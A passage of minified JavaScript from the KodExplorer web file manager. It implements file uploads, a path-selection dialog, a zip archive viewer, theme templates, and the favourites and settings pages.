0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),f(t.getNodeByParam("index","-1",null)) +},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/setting/fav",[],function(){var e="index.php?fav/",t=function(t){$.ajax({url:e+"get",dataType:"json",async:!1,success:function(e){return e.code?(i(e.data,t),void 0):(Tips.tips(e),void 0)},error:function(){return!1}})},i=function(e,t){var i="<tr class='title'><td class='name'>"+htmlEncode(LNG.name)+"<span>("+LNG.can_not_repeat+")</span></td>"+"<td class='path'>"+htmlEncode(LNG.address)+"<span>("+LNG.absolute_path+")</span></td>"+"<td class='action'>"+LNG.action+"</td>"+"</tr>";for(var a in e)i+="<tr class='favlist' name='"+htmlEncode(e[a].name)+"' path='"+htmlEncode(e[a].path)+"'>"+" <td class='name'><input type='text' id='sname' value='"+htmlEncode(e[a].name)+"' /></td>"+" <td class='path'><input type='text' id='spath' value='"+htmlEncode(e[a].path)+"' /></td>"+" <td class='action'>"+" <button class='btn btn-default btn-sm edit'>"+LNG.button_save_edit+"</button>"+" <button class='btn btn-default btn-sm del'>"+LNG.button_del+"</button>"+" </td>"+"</tr>";if($("table#list").html(i),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r="<tr class='favlist' name='' path=''> <input type='hidden' id='stype' value='"+s+"' />"+" <td class='name'><input type='text' id='sname' value='"+n+"' /></td>"+" <td class='path'><input type='text' id='spath' value='"+o+"' /></td>"+" <td class='action'>"+" <button class='btn btn-default btn-sm addsave'>"+LNG.button_save+"</button>"+" <button class='btn btn-default btn-sm addexit'>"+LNG.button_cancel+"</button>"+" </td>"+"</tr>";$(r).insertAfter("table#list tr:last")}},a=function(){var e="<tr class='favlist' name='' path=''> <input type='hidden' id='stype' value='folder' /> <td class='name'><input type='text' id='sname' value='' /></td> <td class='path'><input type='text' id='spath' value='' /></td> <td class='action'> <button class='btn btn-default btn-sm addsave'>"+LNG.button_save+"</button>"+" <button class='btn btn-default btn-sm addexit'>"+LNG.button_cancel+"</button>"+" </td>"+"</tr>";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),i=$(t).find("#sname").val(),a=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==i||""==a?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(i)+"&path="+urlEncode(a)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",i),$(t).attr("path",a);var n="<button class='btn btn-default btn-sm edit'>"+LNG.button_save_edit+"</button>"+"<button class='btn btn-default btn-sm del'>"+LNG.button_del+"</button>";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var i=$(this).parent().parent(),a=$(i).attr("name"),n=$(i).find("#sname").val(),o=$(i).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(a)+"&name_to="+urlEncode(n)+"&path_to="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(i).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),i=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(i),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",a),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,i=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme_diy_setting").addClass("hidden"):$(".theme_diy_setting").removeClass("hidden")},a=function(e){core.setSkin(e)};template.helper("menu_info_decode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var i={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return i[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var i=window.location.href;-1!=i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),window.location.href=i+"#"+e,$.ajax({url:"./index.php?setting/slider&slider="+e,beforeSend:function(){$(".main").html("<img src='"+G.static_path+"images/common/loading.gif'/>")},success:function(i){if("about"==e){var a=i.data;if(i.data="",!core.tools.about(a))return;i.data=a}var o=$(".menu_left .selected").clone();o.find(".ripple_father").remove();var r="<div class='h1'>"+o.html()+"</div>",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:i.data,info:i.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$("#colorRotate").slider().on("slide",i)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color_picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$("input[name="+$(this).attr("input-name")+"]");a.val("#"+t),i()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value)})});var t=$(".theme_diy_setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bg_type"==e&&($(".theme_bg_type_image,.theme_bg_type_color").addClass("hidden"),$(".theme_bg_type_"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||i()}),t.find(".theme_diy_save").unbind("click").bind("click",function(){var e=G.user_config.theme_diy;$.ajax({url:"index.php?setting/set&k=theme_diy&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color_list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.color_rotate+"deg,"+e.start_color+","+e.end_color+")")}),t.find(".color_list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,a){var n=t.find("input[name="+e+"]");"color_rotate"==e?$("#colorRotate").slider("setValue",parseInt(a)):n.val(a),i()})});var i=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var i=$(this).attr("name"),a=$(this).val();"checkbox"==$(this).attr("type")?a=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(a=t.find("[name="+i+"]:checked").val()),e[i]=a}),LocalData.setConfig("kod_diy_style",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.is_root&&$("ul.setting #system").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password_new").keyEnter(function(){Setting.tools()}),$(".user_config_setting .form_row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),i=e.val();"checkbox"==e.attr("type")&&(i=e.prop("checked")?"1":"0"),l(t,i)}),$(".path_select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path_select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+t,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(i){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(i).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(i)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var a=G.static_path+"images/wall_page/"+value+".jpg";$("#wall_url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(a)});break;case"theme":i(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page");$(this).parent().parent().find(".panel").addClass("hidden"),$(this).parent().parent().find("."+e).removeClass("hidden")})},l=function(e,t){var i="index.php?setting/set&k="+e+"&v="+t;$.ajax({url:i,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting:set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password_now").val()),i=urlEncode($("#password_new").val());if(""==i||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:"index.php?user/changePassword&password_now="+t+"&password_new="+i,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href="./index.php?user/logout"}}});break;case"wall":var a=$("#wall_url").val();if(""==a){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(a)}),$(".box").find(".this").removeClass("this"),$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:a,setTheme:i}}),define("app/src/setting/page/about.html",[],'<div class="section">\n <div class="content">{{#data}}</div>\n</div>\n'),define("app/src/setting/page/fav.html",[],'<div class="panel panel-default fav">\n <table id=\'list\' align="center" border=0 cellspacing=0 cellpadding=0 ></table>\n <a href="javascript:void(0);" class=\'add\'><i class="font-icon icon-plus"></i>{{LNG.button_add}}</a>\n</div>\n'),define("app/src/setting/page/help.html",[],'<div class="section">\n <div class="content">{{#data}}</div>\n</div>\n'),define("app/src/setting/page/member.html",[],'<div class="system_conennt">\n <div class="left_freame">\n <div class="left_header">\n <div class="tab this" id="system_group">{{LNG.system_group_edit}}</div>\n <div class="tab" id="system_role">{{LNG.system_group_role}}</div>\n <div style="clear:both"></div>\n </div>\n <div class="left_content system_group">\n <div id="folderList" class="ztree"></div>\n </div>\n\n <div class="left_content system_role">\n <div class="role_box">\n <ul class="role_list_cell"></ul>\n </div>\n\n <div class="group_role_btn">\n <a href="javascript:System.systemGroupRole.showBox();">\n <i class="font-icon icon-bookmark"></i>{{LNG.system_group_role_title}}</a>\n </div>\n </div>\n </div>\n <!-- left_frame end -->\n\n <div class="right_frame" id="content_system_group">\n <div class="header_content">\n <div class="group_title">\n <a href="javascript:void(0);" class="group_title_span title_tooltip" title="{{LNG.edit}}" data-action="group_edit">--</a>\n <span class="label label-info" style="font-size: 12px;">id:<em class="group_id"></em></span>\n <a href="javascript:void(0);" class="font-icon-label ml-20 title_tooltip" title="{{LNG.system_group_add}}" data-action="group_add_child"><i class="font-icon 